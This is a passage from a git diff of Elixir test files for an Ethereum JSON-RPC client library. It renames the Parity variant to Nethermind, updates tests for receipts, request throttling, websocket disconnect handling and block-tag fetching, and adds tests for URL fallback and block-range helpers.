"0xde0b6b3a7640000" - } in params_set - - assert %{ - block_number: block_number1, - block_hash: block_hash1, - address_hash: hash3, - address_type: :validator, - reward: "0xde0b6b3a7640000" - } in params_set - - assert %{ - block_number: block_number2, - block_hash: block_hash2, - address_hash: hash2, - address_type: :validator, - reward: "0xde0b6b3a7640000" - } in params_set - - assert %{ - block_number: block_number2, - block_hash: block_hash2, - address_hash: hash3, - address_type: :validator, - reward: "0xde0b6b3a7640000" - } in params_set - end - - test "with error, returns {:error, reason}", %{ - json_rpc_named_arguments: json_rpc_named_arguments - } do - if json_rpc_named_arguments[:transport] == EthereumJSONRPC.Mox do - expect(EthereumJSONRPC.Mox, :json_rpc, fn _json, _options -> - {:error, "oops"} - end) - - assert {:error, "oops"} = EthereumJSONRPC.Parity.fetch_beneficiaries([5_080_887], json_rpc_named_arguments) - end - end - end -end diff --git a/apps/ethereum_jsonrpc/test/ethereum_jsonrpc/receipt_test.exs b/apps/ethereum_jsonrpc/test/ethereum_jsonrpc/receipt_test.exs index b5ee4ae2efec..763c4b62d1eb 100644 --- a/apps/ethereum_jsonrpc/test/ethereum_jsonrpc/receipt_test.exs +++ b/apps/ethereum_jsonrpc/test/ethereum_jsonrpc/receipt_test.exs @@ -6,23 +6,13 @@ defmodule EthereumJSONRPC.ReceiptTest do doctest Receipt describe "to_elixir/1" do - test "with new key raise ArgumentError with full receipt" do - assert_raise ArgumentError, - """ - Could not convert receipt to elixir - - Receipt: - %{"new_key" => "new_value", "transactionHash" => "0x5c504ed432cb51138bcf09aa5e8a410dd4a1e204ef84bfed1be16dfba1b22060"} - - Errors: - {:unknown_key, %{key: "new_key", value: "new_value"}} - """, - fn -> - Receipt.to_elixir(%{ - "new_key" => "new_value", - "transactionHash" => "0x5c504ed432cb51138bcf09aa5e8a410dd4a1e204ef84bfed1be16dfba1b22060" - }) - end + test "ignores new key" do + assert Receipt.to_elixir(%{ + "new_key" => "new_value", + "transactionHash" => "0x5c504ed432cb51138bcf09aa5e8a410dd4a1e204ef84bfed1be16dfba1b22060" + }) == %{ + "transactionHash" => "0x5c504ed432cb51138bcf09aa5e8a410dd4a1e204ef84bfed1be16dfba1b22060" + } end # Regression test for https://github.com/poanetwork/blockscout/issues/638 diff --git a/apps/ethereum_jsonrpc/test/ethereum_jsonrpc/receipts_test.exs b/apps/ethereum_jsonrpc/test/ethereum_jsonrpc/receipts_test.exs index 468e0f0f30e5..112ba413deb0 100644 --- a/apps/ethereum_jsonrpc/test/ethereum_jsonrpc/receipts_test.exs +++ b/apps/ethereum_jsonrpc/test/ethereum_jsonrpc/receipts_test.exs @@ -23,7 +23,6 @@ defmodule EthereumJSONRPC.ReceiptsTest do index: index, first_topic: first_topic, status: status, - type: type, transaction_hash: transaction_hash, transaction_index: transaction_index } = @@ -41,12 +40,11 @@ defmodule EthereumJSONRPC.ReceiptsTest do first_topic: "0xf6db2bace4ac8277384553ad9603d045220a91fb2448ab6130d7a6f044f9a8cf", gas_used: 106_025, status: nil, - type: nil, transaction_hash: "0xd3efddbbeb6ad8d8bb3f6b8c8fb6165567e9dd868013146bdbeb60953c82822a", transaction_index: 17 } - EthereumJSONRPC.Parity -> + EthereumJSONRPC.Nethermind -> %{ created_contract_address_hash: nil, block_hash: nil, @@ -58,7 +56,6 @@ defmodule EthereumJSONRPC.ReceiptsTest do index: 0, first_topic: "0x600bcf04a13e752d1e3670a5a9f1c21177ca2a93c6f5391d4f1298d098097c22", status: :ok, - type: "mined", transaction_hash: "0x53bd884872de3e488692881baeec262e7b95234d3965248c39fe992fffd433e5", transaction_index: 0 } @@ -90,7 +87,7 @@ defmodule EthereumJSONRPC.ReceiptsTest do "logIndex" => integer_to_quantity(index), "topics" => [first_topic], "transactionHash" => transaction_hash, - "type" => type + "transactionIndex" => integer_to_quantity(transaction_index) } ], "status" => native_status, @@ -114,7 +111,8 @@ defmodule EthereumJSONRPC.ReceiptsTest do index: ^index, second_topic: nil, third_topic: nil, - transaction_hash: ^transaction_hash + transaction_hash: ^transaction_hash, + transaction_index: ^transaction_index } | _ ], diff --git a/apps/ethereum_jsonrpc/test/ethereum_jsonrpc/request_coordinator_test.exs b/apps/ethereum_jsonrpc/test/ethereum_jsonrpc/request_coordinator_test.exs index efda05ab86e8..0eaa6c1f3159 100644 --- a/apps/ethereum_jsonrpc/test/ethereum_jsonrpc/request_coordinator_test.exs +++ b/apps/ethereum_jsonrpc/test/ethereum_jsonrpc/request_coordinator_test.exs @@ -26,28 +26,35 @@ defmodule EthereumJSONRPC.RequestCoordinatorTest do describe "perform/4" do test "forwards result whenever a request doesn't timeout", %{timeout_table: timeout_table} do expect(EthereumJSONRPC.Mox, :json_rpc, fn _, _ -> {:ok, %{}} end) - assert RollingWindow.count(timeout_table, :throttleable_error_count) == 0 - assert {:ok, %{}} == RequestCoordinator.perform(%{}, EthereumJSONRPC.Mox, [], :timer.minutes(60)) - assert RollingWindow.count(timeout_table, :throttleable_error_count) == 0 + assert RollingWindow.count(timeout_table, :throttleable_error_count_eth_call) == 0 + + assert {:ok, %{}} == + RequestCoordinator.perform(%{method: "eth_call"}, EthereumJSONRPC.Mox, [], :timer.minutes(60)) + + assert RollingWindow.count(timeout_table, :throttleable_error_count_eth_call) == 0 end test "increments counter on certain errors", %{timeout_table: timeout_table} do - expect(EthereumJSONRPC.Mox, :json_rpc, fn :timeout, _ -> {:error, :timeout} end) - expect(EthereumJSONRPC.Mox, :json_rpc, fn :bad_gateway, _ -> {:error, {:bad_gateway, "message"}} end) + expect(EthereumJSONRPC.Mox, :json_rpc, fn %{method: "timeout"}, _ -> {:error, :timeout} end) + expect(EthereumJSONRPC.Mox, :json_rpc, fn %{method: "bad_gateway"}, _ -> {:error, {:bad_gateway, "message"}} end) + + assert {:error, :timeout} == + RequestCoordinator.perform(%{method: "timeout"}, EthereumJSONRPC.Mox, [], :timer.minutes(60)) - assert {:error, :timeout} == RequestCoordinator.perform(:timeout, EthereumJSONRPC.Mox, [], :timer.minutes(60)) - assert RollingWindow.count(timeout_table, :throttleable_error_count) == 1 + assert RollingWindow.count(timeout_table, :throttleable_error_count_timeout) == 1 + assert RollingWindow.count(timeout_table, :throttleable_error_count_bad_gateway) == 0 assert {:error, {:bad_gateway, "message"}} == - RequestCoordinator.perform(:bad_gateway, EthereumJSONRPC.Mox, [], :timer.minutes(60)) + RequestCoordinator.perform(%{method: "bad_gateway"}, EthereumJSONRPC.Mox, [], :timer.minutes(60)) - assert RollingWindow.count(timeout_table, :throttleable_error_count) == 2 + assert RollingWindow.count(timeout_table, :throttleable_error_count_timeout) == 1 + assert RollingWindow.count(timeout_table, :throttleable_error_count_bad_gateway) == 1 end test "returns timeout error if sleep time will exceed max timeout", %{timeout_table: timeout_table} do expect(EthereumJSONRPC.Mox, :json_rpc, 0, fn _, _ -> :ok end) - RollingWindow.inc(timeout_table, :throttleable_error_count) - assert {:error, :timeout} == RequestCoordinator.perform(%{}, EthereumJSONRPC.Mox, [], 1) + RollingWindow.inc(timeout_table, :throttleable_error_count_eth_call) + assert {:error, :timeout} == RequestCoordinator.perform(%{method: "eth_call"}, EthereumJSONRPC.Mox, [], 1) end test "increments throttle_table even when not an error", %{throttle_table: throttle_table} do diff --git a/apps/ethereum_jsonrpc/test/ethereum_jsonrpc/rolling_window_test.exs b/apps/ethereum_jsonrpc/test/ethereum_jsonrpc/rolling_window_test.exs index 5f8db2a8216f..3ea1954ae331 100644 --- a/apps/ethereum_jsonrpc/test/ethereum_jsonrpc/rolling_window_test.exs +++ b/apps/ethereum_jsonrpc/test/ethereum_jsonrpc/rolling_window_test.exs @@ -8,7 +8,7 @@ defmodule EthereumJSONRPC.RollingWindowTest do end describe "init/1" do - test "raises when duration isn't evenly divisble by window_count" do + test "raises when duration isn't evenly divisible by window_count" do assert_raise ArgumentError, ~r"evenly divisible", fn -> RollingWindow.init(table: :init_test_table, duration: :timer.seconds(2), window_count: 3) end diff --git a/apps/ethereum_jsonrpc/test/ethereum_jsonrpc/transaction_test.exs b/apps/ethereum_jsonrpc/test/ethereum_jsonrpc/transaction_test.exs index a8a8fcdfd23a..fd2715aa7e3e 100644 --- a/apps/ethereum_jsonrpc/test/ethereum_jsonrpc/transaction_test.exs +++ b/apps/ethereum_jsonrpc/test/ethereum_jsonrpc/transaction_test.exs @@ -9,7 +9,7 @@ defmodule EthereumJSONRPC.TransactionTest do test "skips unsupported keys" do map = %{"key" => "value", "key1" => "value1"} - assert %{nil: nil} = Transaction.to_elixir(map) + assert %{ignore: :ignore} = Transaction.to_elixir(map) end end end diff --git a/apps/ethereum_jsonrpc/test/ethereum_jsonrpc/utility/common_helper_test.exs b/apps/ethereum_jsonrpc/test/ethereum_jsonrpc/utility/common_helper_test.exs new file mode 100644 index 000000000000..12dd93c30923 --- /dev/null +++ b/apps/ethereum_jsonrpc/test/ethereum_jsonrpc/utility/common_helper_test.exs @@ -0,0 +1,52 @@ +defmodule EthereumJSONRPC.Utility.CommonHelperTest do + use ExUnit.Case, async: true + + alias EthereumJSONRPC.Utility.{EndpointAvailabilityObserver, CommonHelper} + + @options [ + urls: ["url_1", "url_2"], + trace_urls: ["trace_url_1", "trace_url_2"], + eth_call_urls: ["eth_call_url_1", "eth_call_url_2"], + fallback_urls: ["fallback_url_1", "fallback_url_2"], + fallback_trace_urls: ["fallback_trace_url_1", "fallback_trace_url_2"], + fallback_eth_call_urls: ["fallback_ec_url_1", "fallback_ec_url_2"] + ] + + test "url_type_to_urls/3" do + assert ["url_1", "url_2"] = CommonHelper.url_type_to_urls(:http, @options) + assert ["trace_url_1", "trace_url_2"] = CommonHelper.url_type_to_urls(:trace, @options) + assert ["eth_call_url_1", "eth_call_url_2"] = CommonHelper.url_type_to_urls(:eth_call, @options) + assert ["fallback_url_1", "fallback_url_2"] = CommonHelper.url_type_to_urls(:http, @options, :fallback) + assert ["fallback_trace_url_1", "fallback_trace_url_2"] = CommonHelper.url_type_to_urls(:trace, @options, :fallback) + assert ["fallback_ec_url_1", "fallback_ec_url_2"] = CommonHelper.url_type_to_urls(:eth_call, @options, :fallback) + end + + test "get_available_url/2" do + EndpointAvailabilityObserver.start_link([]) + + assert CommonHelper.get_available_url(@options, :http) in @options[:urls] + assert CommonHelper.get_available_url(@options, :trace) in @options[:trace_urls] + assert CommonHelper.get_available_url(@options, :eth_call) in @options[:eth_call_urls] + + set_url_unavailable("url_1", :http) + set_url_unavailable("url_2", :http) + + assert CommonHelper.get_available_url(@options, :http) in @options[:fallback_urls] + + set_url_unavailable("trace_url_1", :trace) + set_url_unavailable("trace_url_2", :trace) + + assert CommonHelper.get_available_url(@options, :trace) in @options[:fallback_trace_urls] + + set_url_unavailable("eth_call_url_1", :eth_call) + set_url_unavailable("eth_call_url_2", :eth_call) + + assert CommonHelper.get_available_url(@options, :eth_call) in @options[:fallback_eth_call_urls] + end + + defp set_url_unavailable(url, url_type) do + Enum.each(1..3, fn _ -> + EndpointAvailabilityObserver.inc_error_count(url, [transport_options: @options], url_type) + end) + end +end diff --git a/apps/ethereum_jsonrpc/test/ethereum_jsonrpc/utility/ranges_helper_test.exs b/apps/ethereum_jsonrpc/test/ethereum_jsonrpc/utility/ranges_helper_test.exs new file mode 100644 index 000000000000..d7cb9f8a56f8 --- /dev/null +++ b/apps/ethereum_jsonrpc/test/ethereum_jsonrpc/utility/ranges_helper_test.exs @@ -0,0 +1,24 @@ +defmodule EthereumJSONRPC.Utility.RangesHelperTest do + use ExUnit.Case, async: true + + alias EthereumJSONRPC.Utility.RangesHelper + + describe "sanitize_ranges/1" do + test "list of ranges" do + assert RangesHelper.sanitize_ranges([1..2, 1..4, 3..6, 7..9, 11..12]) == [1..9, 11..12] + assert RangesHelper.sanitize_ranges([10..7//-1, 6..4//-1, 3..1//-1]) == [10..1//-1] + assert RangesHelper.sanitize_ranges([10..7//-1, 5..3//-1]) == [5..3//-1, 10..7//-1] + assert RangesHelper.sanitize_ranges([1..3, 7..9, 5..6]) == [1..3, 5..9] + assert RangesHelper.sanitize_ranges([1..3, 5..7, 4..4]) == [1..7] + assert RangesHelper.sanitize_ranges([]) == [] + end + end + + describe "parse_block_ranges/1" do + test "ranges string" do + assert RangesHelper.parse_block_ranges("100..200,300..400,500..latest") == [100..200, 300..400, 500] + assert RangesHelper.parse_block_ranges("100..200,150..300") == [100..300] + assert RangesHelper.parse_block_ranges("") == [] + end + end +end diff --git a/apps/ethereum_jsonrpc/test/ethereum_jsonrpc/web_socket/web_socket_client_test.exs b/apps/ethereum_jsonrpc/test/ethereum_jsonrpc/web_socket/web_socket_client_test.exs index 20934b29e98f..245bf124ee1a 100644 --- a/apps/ethereum_jsonrpc/test/ethereum_jsonrpc/web_socket/web_socket_client_test.exs +++ b/apps/ethereum_jsonrpc/test/ethereum_jsonrpc/web_socket/web_socket_client_test.exs @@ -6,13 +6,9 @@ defmodule EthereumJSONRPC.WebSocket.WebSocketClientTest do import EthereumJSONRPC, only: [unique_request_id: 0] - describe "ondisconnect/2" do + describe "handle_disconnect/2" do setup :example_state - test "reconnects", %{state: state} do - assert {:reconnect, _} = WebSocketClient.ondisconnect({:closed, :remote}, state) - end - test "treats in-progress unsubscribes as successful", %{state: state} do subscription_id = 1 @@ -23,7 +19,7 @@ defmodule EthereumJSONRPC.WebSocket.WebSocketClientTest do state = put_registration(state, registration) - assert {_, disconnected_state} = WebSocketClient.ondisconnect({:closed, :remote}, state) + assert {_, disconnected_state} = WebSocketClient.handle_disconnect(%{attempt_number: 1}, state) assert Enum.empty?(disconnected_state.request_id_to_registration) assert Enum.empty?(disconnected_state.subscription_id_to_subscription_reference) @@ -36,7 +32,7 @@ defmodule EthereumJSONRPC.WebSocket.WebSocketClientTest do test "keeps :json_rpc requests for re-requesting on reconnect", %{state: state} do state = put_registration(state, %{type: :json_rpc, method: "eth_getBlockByNumber", params: [1, true]}) - assert {_, disconnected_state} = WebSocketClient.ondisconnect({:closed, :remote}, state) + assert {_, disconnected_state} = WebSocketClient.handle_disconnect(%{attempt_number: 1}, state) assert Enum.count(disconnected_state.request_id_to_registration) == 1 end @@ -44,13 +40,13 @@ defmodule EthereumJSONRPC.WebSocket.WebSocketClientTest do test "keeps :subscribe requests for re-requesting on reconnect", %{state: state} do state = put_registration(state, %{type: :subscribe}) - assert {_, disconnected_state} = WebSocketClient.ondisconnect({:closed, :remote}, state) + assert {_, disconnected_state} = WebSocketClient.handle_disconnect(%{attempt_number: 1}, state) assert Enum.count(disconnected_state.request_id_to_registration) == 1 end end - describe "websocket_handle/3" do + describe "handle_frame/2" do setup :example_state test "Jason.decode errors are broadcast to all subscribers", %{state: %WebSocketClient{url: url} = state} do @@ -59,12 +55,12 @@ defmodule EthereumJSONRPC.WebSocket.WebSocketClientTest do subscription = subscription(%{url: url, reference: subscription_reference}) state = put_subscription(state, subscription_id, subscription) - assert {:ok, ^state} = WebSocketClient.websocket_handle({:text, ""}, nil, state) + assert {:ok, ^state} = WebSocketClient.handle_frame({:text, ""}, state) assert_receive {^subscription, {:error, %Jason.DecodeError{}}} end end - describe "websocket_terminate/3" do + describe "terminate/2" do setup :example_state test "broadcasts close to all subscribers", %{state: %WebSocketClient{url: url} = state} do @@ -73,8 +69,8 @@ defmodule EthereumJSONRPC.WebSocket.WebSocketClientTest do subscription = subscription(%{url: url, reference: subscription_reference}) state = put_subscription(state, subscription_id, subscription) - assert {:ok, ^state} = WebSocketClient.websocket_handle({:text, ""}, nil, state) - assert_receive {^subscription, {:error, %Jason.DecodeError{}}} + assert :ok = WebSocketClient.terminate(:close, state) + assert_receive {^subscription, :close} end end diff --git a/apps/ethereum_jsonrpc/test/ethereum_jsonrpc/withdrawal_test.exs b/apps/ethereum_jsonrpc/test/ethereum_jsonrpc/withdrawal_test.exs new file mode 100644 index 000000000000..8f8214c62d25 --- /dev/null +++ b/apps/ethereum_jsonrpc/test/ethereum_jsonrpc/withdrawal_test.exs @@ -0,0 +1,5 @@ +defmodule EthereumJSONRPC.WithdrawalTest do + use ExUnit.Case, async: true + + doctest EthereumJSONRPC.Withdrawal +end diff --git a/apps/ethereum_jsonrpc/test/ethereum_jsonrpc/withdrawals_test.exs b/apps/ethereum_jsonrpc/test/ethereum_jsonrpc/withdrawals_test.exs new file mode 100644 index 000000000000..a4d4b4845968 --- /dev/null +++ b/apps/ethereum_jsonrpc/test/ethereum_jsonrpc/withdrawals_test.exs @@ -0,0 +1,5 @@ +defmodule EthereumJSONRPC.WithdrawalsTest do + use ExUnit.Case, async: true + + doctest EthereumJSONRPC.Withdrawals +end diff --git a/apps/ethereum_jsonrpc/test/ethereum_jsonrpc/zilliqa_test.exs b/apps/ethereum_jsonrpc/test/ethereum_jsonrpc/zilliqa_test.exs new file mode 100644 index 000000000000..41e67123b9eb --- /dev/null +++ b/apps/ethereum_jsonrpc/test/ethereum_jsonrpc/zilliqa_test.exs @@ -0,0 +1,8 @@ +defmodule EthereumJSONRPC.ZilliqaTest do + use ExUnit.Case, async: true + + doctest EthereumJSONRPC.Zilliqa.Helper + doctest EthereumJSONRPC.Zilliqa.AggregateQuorumCertificate + doctest EthereumJSONRPC.Zilliqa.NestedQuorumCertificates + doctest EthereumJSONRPC.Zilliqa.QuorumCertificate +end diff --git a/apps/ethereum_jsonrpc/test/ethereum_jsonrpc_test.exs b/apps/ethereum_jsonrpc/test/ethereum_jsonrpc_test.exs index ea513d560d00..f640a3b32e0f 100644 --- a/apps/ethereum_jsonrpc/test/ethereum_jsonrpc_test.exs +++ b/apps/ethereum_jsonrpc/test/ethereum_jsonrpc_test.exs @@ -2,6 +2,7 @@ defmodule EthereumJSONRPCTest do use EthereumJSONRPC.Case, async: true import EthereumJSONRPC.Case + import EthereumJSONRPC, only: [quantity_to_integer: 1] import Mox alias EthereumJSONRPC.{Blocks, FetchedBalances, FetchedBeneficiaries, FetchedCodes, Subscription} @@ -18,7 +19,7 @@ defmodule EthereumJSONRPCTest do expected_fetched_balance = case Keyword.fetch!(json_rpc_named_arguments, :variant) do EthereumJSONRPC.Geth -> 0 - EthereumJSONRPC.Parity -> 1 + EthereumJSONRPC.Nethermind -> 1 variant -> raise ArgumentError, "Unsupported variant (#{variant}})" end @@ -34,7 +35,8 @@ defmodule EthereumJSONRPCTest do [ %{block_quantity: "0x1", hash_data: hash} ], - json_rpc_named_arguments + json_rpc_named_arguments, + 1 ) == {:ok, %FetchedBalances{ @@ -48,6 +50,25 @@ defmodule EthereumJSONRPCTest do }} end + test "fetch latest block number from node if it wasn't provided", %{ + json_rpc_named_arguments: json_rpc_named_arguments + } do + if json_rpc_named_arguments[:transport] == EthereumJSONRPC.Mox do + expect(EthereumJSONRPC.Mox, :json_rpc, 2, fn + [%{id: id, method: "eth_getBlockByNumber"}], _options -> block_response(id, false, "0x1") + _json, _options -> {:ok, [%{id: 0, result: "0x1"}]} + end) + end + + assert {:ok, %FetchedBalances{}} = + EthereumJSONRPC.fetch_balances( + [ + %{block_quantity: "0x1", hash_data: "0x8bf38d4764929064f2d4d3a56520a76ab3df415b"} + ], + json_rpc_named_arguments + ) + end + test "with all invalid hash_data returns errors", %{json_rpc_named_arguments: json_rpc_named_arguments} do variant = Keyword.fetch!(json_rpc_named_arguments, :variant) @@ -56,7 +77,7 @@ defmodule EthereumJSONRPCTest do EthereumJSONRPC.Geth -> "invalid argument 0: json: cannot unmarshal hex string of odd length into Go value of type common.Address" - EthereumJSONRPC.Parity -> + EthereumJSONRPC.Nethermind -> "Invalid params: invalid length 1, expected a 0x-prefixed hex string with length of 40." _ -> @@ -89,7 +110,7 @@ defmodule EthereumJSONRPCTest do ], params_list: [] }} = - EthereumJSONRPC.fetch_balances([%{block_quantity: "0x1", hash_data: "0x0"}], json_rpc_named_arguments) + EthereumJSONRPC.fetch_balances([%{block_quantity: "0x1", hash_data: "0x0"}], json_rpc_named_arguments, 1) end test "with a mix of valid and invalid hash_data returns both", %{ @@ -162,7 +183,8 @@ defmodule EthereumJSONRPCTest do hash_data: "0x5" } ], - json_rpc_named_arguments + json_rpc_named_arguments, + 53 ) assert is_list(params_list) @@ -174,7 +196,7 @@ defmodule EthereumJSONRPCTest do end describe "fetch_codes/2" do - @tag :no_parity + @tag :no_nethermind test "returns both codes and errors", %{ json_rpc_named_arguments: json_rpc_named_arguments } do @@ -235,7 +257,7 @@ defmodule EthereumJSONRPCTest do describe "fetch_beneficiaries/2" do @tag :no_geth - test "fetches benefeciaries from variant API", %{json_rpc_named_arguments: json_rpc_named_arguments} do + test "fetches beneficiaries from variant API", %{json_rpc_named_arguments: json_rpc_named_arguments} do if json_rpc_named_arguments[:transport] == EthereumJSONRPC.Mox do expect(EthereumJSONRPC.Mox, :json_rpc, fn _, _ -> {:ok, []} @@ -251,7 +273,7 @@ defmodule EthereumJSONRPCTest do test "can fetch blocks", %{json_rpc_named_arguments: json_rpc_named_arguments} do %{block_hash: block_hash, transaction_hash: transaction_hash} = case Keyword.fetch!(json_rpc_named_arguments, :variant) do - EthereumJSONRPC.Parity -> + EthereumJSONRPC.Nethermind -> %{ block_hash: "0x29c850324e357f3c0c836d79860c5af55f7b651e5d7ee253c1af1b14908af49c", transaction_hash: "0xa2e81bb56b55ba3dab2daf76501b50dfaad240cccb905dbf89d65c7a84a4a48e" @@ -543,61 +565,92 @@ defmodule EthereumJSONRPCTest do end end - describe "fetch_block_number_by_tag" do - @tag capture_log: false - test "with earliest", %{json_rpc_named_arguments: json_rpc_named_arguments} do - if json_rpc_named_arguments[:transport] == EthereumJSONRPC.Mox do - expect(EthereumJSONRPC.Mox, :json_rpc, fn _json, _options -> - {:ok, %{"number" => "0x0"}} - end) - end + describe "fetch_block_by_tag/2" do + @supported_tags ~w(earliest latest pending) - log_bad_gateway( - fn -> EthereumJSONRPC.fetch_block_number_by_tag("earliest", json_rpc_named_arguments) end, - fn result -> - assert {:ok, 0} = result + @tag capture_log: false + test "with all supported tags", %{json_rpc_named_arguments: json_rpc_named_arguments} do + for tag <- @supported_tags do + if json_rpc_named_arguments[:transport] == EthereumJSONRPC.Mox do + expect(EthereumJSONRPC.Mox, :json_rpc, fn [ + %{ + id: id, + method: "eth_getBlockByNumber", + params: [^tag, false] + } + ], + _options -> + block_response(id, tag == "pending", "0x1") + end) end - ) - end - @tag capture_log: false - test "with latest", %{json_rpc_named_arguments: json_rpc_named_arguments} do - if json_rpc_named_arguments[:transport] == EthereumJSONRPC.Mox do - expect(EthereumJSONRPC.Mox, :json_rpc, fn _json, _options -> - {:ok, %{"number" => "0x1"}} - end) + log_bad_gateway( + fn -> EthereumJSONRPC.fetch_block_by_tag(tag, json_rpc_named_arguments) end, + fn result -> + {:ok, %Blocks{blocks_params: [_ | _], transactions_params: []}} = result + end + ) end + end - log_bad_gateway( - fn -> EthereumJSONRPC.fetch_block_number_by_tag("latest", json_rpc_named_arguments) end, - fn result -> - assert {:ok, number} = result - assert number > 0 - end - ) + test "unknown errors are returned", %{json_rpc_named_arguments: json_rpc_named_arguments} do + # Can't be faked reliably on real chain + moxed_json_rpc_named_arguments = Keyword.put(json_rpc_named_arguments, :transport, EthereumJSONRPC.Mox) + + unknown_error = %{"code" => 500, "message" => "Unknown error"} + + expect(EthereumJSONRPC.Mox, :json_rpc, fn _json, _options -> + {:error, unknown_error} + end) + + assert {:error, ^unknown_error} = EthereumJSONRPC.fetch_block_by_tag("latest", moxed_json_rpc_named_arguments) end + end - @tag capture_log: false - test "with pending", %{json_rpc_named_arguments: json_rpc_named_arguments} do - if json_rpc_named_arguments[:transport] == EthereumJSONRPC.Mox do - expect(EthereumJSONRPC.Mox, :json_rpc, fn _json, _options -> - {:ok, nil} - end) - end + describe "fetch_block_number_by_tag" do + @supported_tags %{"earliest" => "0x0", "latest" => "0x1", "pending" => nil} - log_bad_gateway( - fn -> EthereumJSONRPC.fetch_block_number_by_tag("pending", json_rpc_named_arguments) end, - fn - # Parity after https://github.com/paritytech/parity-ethereum/pull/8281 and anything spec-compliant - {:error, reason} -> - assert reason == :not_found - - # Parity before https://github.com/paritytech/parity-ethereum/pull/8281 - {:ok, number} -> - assert is_integer(number) - assert number > 0 + @tag capture_log: false + test "with all supported tags", %{json_rpc_named_arguments: json_rpc_named_arguments} do + for {tag, expected_result} <- @supported_tags do + if json_rpc_named_arguments[:transport] == EthereumJSONRPC.Mox do + expect(EthereumJSONRPC.Mox, :json_rpc, fn [ + %{ + id: id, + method: "eth_getBlockByNumber", + params: [^tag, false] + } + ], + _options -> + if tag == "pending" do + {:ok, [%{id: id, result: nil}]} + else + block_response(id, false, expected_result) + end + end) end - ) + + log_bad_gateway( + fn -> EthereumJSONRPC.fetch_block_number_by_tag(tag, json_rpc_named_arguments) end, + if tag == "pending" do + fn + # Parity after https://github.com/paritytech/parity-ethereum/pull/8281 and anything spec-compliant + {:error, reason} -> + assert reason == :not_found + + # Parity before https://github.com/paritytech/parity-ethereum/pull/8281 + {:ok, number} -> + assert is_integer(number) + assert number > 0 + end + else + fn result -> + integer_result = expected_result && quantity_to_integer(expected_result) + assert {:ok, ^integer_result} = result + end + end + ) + end end test "unknown errors are returned", %{json_rpc_named_arguments: json_rpc_named_arguments} do @@ -668,7 +721,7 @@ defmodule EthereumJSONRPCTest do test "with valid transaction hash", %{json_rpc_named_arguments: json_rpc_named_arguments} do hash = case Keyword.fetch!(json_rpc_named_arguments, :variant) do - EthereumJSONRPC.Parity -> + EthereumJSONRPC.Nethermind -> "0xa2e81bb56b55ba3dab2daf76501b50dfaad240cccb905dbf89d65c7a84a4a48e" EthereumJSONRPC.Geth -> @@ -886,21 +939,21 @@ defmodule EthereumJSONRPCTest do end end - describe "fetch_net_version/1" do - test "fetches net version", %{json_rpc_named_arguments: json_rpc_named_arguments} do - expected_version = + describe "fetch_chain_id/1" do + test "fetches chain id", %{json_rpc_named_arguments: json_rpc_named_arguments} do + expected_id = case Keyword.fetch!(json_rpc_named_arguments, :variant) do - EthereumJSONRPC.Parity -> 77 + EthereumJSONRPC.Nethermind -> 77 _variant -> 1 end if json_rpc_named_arguments[:transport] == EthereumJSONRPC.Mox do expect(EthereumJSONRPC.Mox, :json_rpc, fn _json, _options -> - {:ok, "#{expected_version}"} + {:ok, "#{expected_id}"} end) end - assert {:ok, ^expected_version} = EthereumJSONRPC.fetch_net_version(json_rpc_named_arguments) + assert {:ok, ^expected_id} = EthereumJSONRPC.fetch_chain_id(json_rpc_named_arguments) end end @@ -912,12 +965,43 @@ defmodule EthereumJSONRPCTest do :ok end end + + defp block_response(id, pending, block_number) do + block_hash = "0x29c850324e357f3c0c836d79860c5af55f7b651e5d7ee253c1af1b14908af49c" + transaction_hash = "0xa2e81bb56b55ba3dab2daf76501b50dfaad240cccb905dbf89d65c7a84a4a48e" + + {:ok, + [ + %{ + id: id, + result: %{ + "difficulty" => "0x0", + "gasLimit" => "0x0", + "gasUsed" => "0x0", + "hash" => if(pending, do: nil, else: block_hash), + "extraData" => "0x0", + "logsBloom" => "0x0", + "miner" => "0x0", + "number" => block_number, + "parentHash" => "0x0", + "receiptsRoot" => "0x0", + "size" => "0x0", + "sha3Uncles" => "0x0", + "stateRoot" => "0x0", + "timestamp" => "0x0", + "totalDifficulty" => "0x0", + "transactions" => [transaction_hash], + "transactionsRoot" => "0x0", + "uncles" => [] + } + } + ]} + end end defmodule EthereumJSONRPCSyncTest do use EthereumJSONRPC.Case, async: false - import EthereumJSONRPC.Case import Mox alias EthereumJSONRPC.FetchedBalances @@ -931,26 +1015,72 @@ defmodule EthereumJSONRPCSyncTest do on_exit(fn -> Application.put_all_env([{:indexer, initial_env}]) end) end - test "ignores all request with block_quantity != latest when env ETHEREUM_JSONRPC_DISABLE_ARCHIVE_BALANCES is true", + test "ignores all request with block_quantity != latest or lower than window when env ETHEREUM_JSONRPC_DISABLE_ARCHIVE_BALANCES is true", %{ json_rpc_named_arguments: json_rpc_named_arguments } do hash = "0x8bf38d4764929064f2d4d3a56520a76ab3df415b" expected_fetched_balance = 1 - expect(EthereumJSONRPC.Mox, :json_rpc, 1, fn [ - %{ - id: 0, - jsonrpc: "2.0", - method: "eth_getBalance", - params: [^hash, "latest"] - } - ], - _options -> - {:ok, [%{id: 0, result: EthereumJSONRPC.integer_to_quantity(expected_fetched_balance)}]} + expect(EthereumJSONRPC.Mox, :json_rpc, 2, fn + [ + %{ + id: 0, + jsonrpc: "2.0", + method: "eth_getBalance", + params: [^hash, "0x4"] + }, + %{ + id: 1, + jsonrpc: "2.0", + method: "eth_getBalance", + params: [^hash, "latest"] + } + ], + _options -> + {:ok, + [ + %{id: 0, result: EthereumJSONRPC.integer_to_quantity(expected_fetched_balance)}, + %{id: 1, result: EthereumJSONRPC.integer_to_quantity(expected_fetched_balance)} + ]} + + [ + %{ + id: id, + method: "eth_getBlockByNumber" + } + ], + _options -> + {:ok, + [ + %{ + id: id, + result: %{ + "difficulty" => "0x0", + "gasLimit" => "0x0", + "gasUsed" => "0x0", + "hash" => "0x29c850324e357f3c0c836d79860c5af55f7b651e5d7ee253c1af1b14908af49c", + "extraData" => "0x0", + "logsBloom" => "0x0", + "miner" => "0x0", + "number" => "0x4", + "parentHash" => "0x0", + "receiptsRoot" => "0x0", + "size" => "0x0", + "sha3Uncles" => "0x0", + "stateRoot" => "0x0", + "timestamp" => "0x0", + "totalDifficulty" => "0x0", + "transactions" => ["0xa2e81bb56b55ba3dab2daf76501b50dfaad240cccb905dbf89d65c7a84a4a48e"], + "transactionsRoot" => "0x0", + "uncles" => [] + } + } + ]} end) - Application.put_env(:ethereum_jsonrpc, :disable_archive_balances?, "true") + Application.put_env(:ethereum_jsonrpc, :disable_archive_balances?, true) + Application.put_env(:ethereum_jsonrpc, :archive_balances_window, 1) assert EthereumJSONRPC.fetch_balances( [ @@ -967,7 +1097,12 